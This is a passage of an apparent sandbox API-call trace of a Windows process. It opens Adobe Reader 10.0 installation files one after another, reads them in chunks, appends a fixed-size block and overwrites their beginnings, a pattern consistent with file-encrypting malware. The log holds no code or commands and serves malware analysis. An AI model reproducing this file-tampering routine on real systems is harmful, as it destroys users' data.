lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x121ba8 [0034.303] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.303] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.303] ReleaseMutex (hMutex=0x128) returned 1 [0034.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0034.303] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JSByteCodeWin.bin", cchWideChar=17, lpMultiByteStr=0x1e78b7c, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JSByteCodeWin.bin", lpUsedDefaultChar=0x0) returned 17 [0034.303] ReadFile (in: hFile=0x1b0, lpBuffer=0x27d2b98, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0034.379] ReadFile (in: hFile=0x1b0, lpBuffer=0x27d2b98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.388] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x120ba8 [0034.388] ReadFile (in: hFile=0x1b0, lpBuffer=0x2809c58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2809c58*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.405] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x120ba8 [0034.407] WriteFile (in: hFile=0x1b0, lpBuffer=0x280e3b8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x280e3b8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.407] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.407] WriteFile (in: hFile=0x1b0, lpBuffer=0x27d2b98*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesWritten=0x2c0f28c*=0xf000, lpOverlapped=0x0) returned 1 [0034.409] WriteFile (in: hFile=0x1b0, lpBuffer=0x27d2b98*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x27d2b98*, lpNumberOfBytesWritten=0x2c0f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.409] CloseHandle (hObject=0x1b0) returned 1 [0034.472] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\DAN\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\dan\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.472] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.472] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xbd79 [0034.473] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.473] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.473] ReleaseMutex (hMutex=0x128) returned 1 [0034.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.473] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6320c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0034.473] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.491] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xad79 [0034.491] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.503] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xad79 [0034.503] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.504] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.504] WriteFile (in: hFile=0x1b0, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.504] CloseHandle (hObject=0x1b0) returned 1 [0034.505] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\FRA\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\fra\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.505] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.505] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xe94c [0034.505] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.505] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.506] ReleaseMutex (hMutex=0x128) returned 1 [0034.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.506] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0034.506] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.524] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd94c [0034.524] ReadFile (in: hFile=0x1b0, lpBuffer=0x25c7dd8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7dd8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.531] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd94c [0034.532] WriteFile (in: hFile=0x1b0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.532] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.532] WriteFile (in: hFile=0x1b0, lpBuffer=0x1deae48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deae48*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.532] CloseHandle (hObject=0x1b0) returned 1 [0034.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\KOR\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\kor\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.533] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.533] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x18e95 [0034.533] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.534] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.534] ReleaseMutex (hMutex=0x128) returned 1 [0034.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.534] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0034.534] ReadFile (in: hFile=0x1b0, lpBuffer=0x276a328, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.541] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x17e95 [0034.542] ReadFile (in: hFile=0x1b0, lpBuffer=0x1defde8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1defde8*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.547] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x17e95 [0034.547] WriteFile (in: hFile=0x1b0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.548] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.548] WriteFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.548] CloseHandle (hObject=0x1b0) returned 1 [0034.549] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\RUM\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\rum\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xe796 [0034.550] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.550] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.550] ReleaseMutex (hMutex=0x128) returned 1 [0034.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.550] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e631cc, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0034.550] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.556] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd796 [0034.556] ReadFile (in: hFile=0x1b0, lpBuffer=0x280dc88, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x280dc88*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.562] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xd796 [0034.562] WriteFile (in: hFile=0x1b0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.563] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.563] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.563] CloseHandle (hObject=0x1b0) returned 1 [0034.564] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\SVE\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\sve\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0034.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.564] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0xc8bf [0034.565] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0034.565] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.565] ReleaseMutex (hMutex=0x128) returned 1 [0034.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0034.565] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="license.html", cchWideChar=12, lpMultiByteStr=0x1e630ac, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="license.html", lpUsedDefaultChar=0x0) returned 12 [0034.565] ReadFile (in: hFile=0x1b0, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0034.574] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xb8bf [0034.575] ReadFile (in: hFile=0x1b0, lpBuffer=0x2772188, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.580] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0xb8bf [0034.581] WriteFile (in: hFile=0x1b0, lpBuffer=0x2772188*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x2772188*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.581] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0034.581] WriteFile (in: hFile=0x1b0, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0034.581] CloseHandle (hObject=0x1b0) returned 1 [0034.582] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.016] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.018] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x1fe00 [0035.018] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.020] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.020] ReleaseMutex (hMutex=0x128) returned 1 [0035.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.020] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Checkers.CAT", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Checkers.CAT", lpUsedDefaultChar=0x0) returned 12 [0035.020] ReadFile (in: hFile=0x1b0, lpBuffer=0x1dae208, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesRead=0x2c0f278*=0x4000, lpOverlapped=0x0) returned 1 [0035.035] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1ee00 [0035.037] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df1c78, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x1df1c78*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.037] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x1ee00 [0035.037] WriteFile (in: hFile=0x1b0, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x2c0f28c*=0x1588, lpOverlapped=0x0) returned 1 [0035.038] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f2bc*=0) returned 0x0 [0035.038] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dae208*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x2c0f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dae208*, lpNumberOfBytesWritten=0x2c0f28c*=0x4000, lpOverlapped=0x0) returned 1 [0035.038] CloseHandle (hObject=0x1b0) returned 1 [0035.040] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\RdLang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\rdlang32.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0035.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x158e00 [0035.040] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2c0f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x2c0f8c0*=0) returned 0x0 [0035.040] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0035.040] ReleaseMutex (hMutex=0x128) returned 1 [0035.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.040] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="RdLang32.CAT", cchWideChar=12, lpMultiByteStr=0x1e6334c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RdLang32.CAT", lpUsedDefaultChar=0x0) returned 12 [0035.040] ReadFile (in: hFile=0x1b0, lpBuffer=0x27cfb68, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27cfb68*, lpNumberOfBytesRead=0x2c0f278*=0xf000, lpOverlapped=0x0) returned 1 [0035.043] ReadFile (in: hFile=0x1b0, lpBuffer=0x27cfb68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c0f278, lpOverlapped=0x0 | out: lpBuffer=0x27cfb68*, lpNumberOfBytesRead=0x2c0f278*=0x1000, lpOverlapped=0x0) returned 1 [0035.044] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x2c0f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2c0f2e8*=0) returned 0x157e00 [0035.044] ReadFile 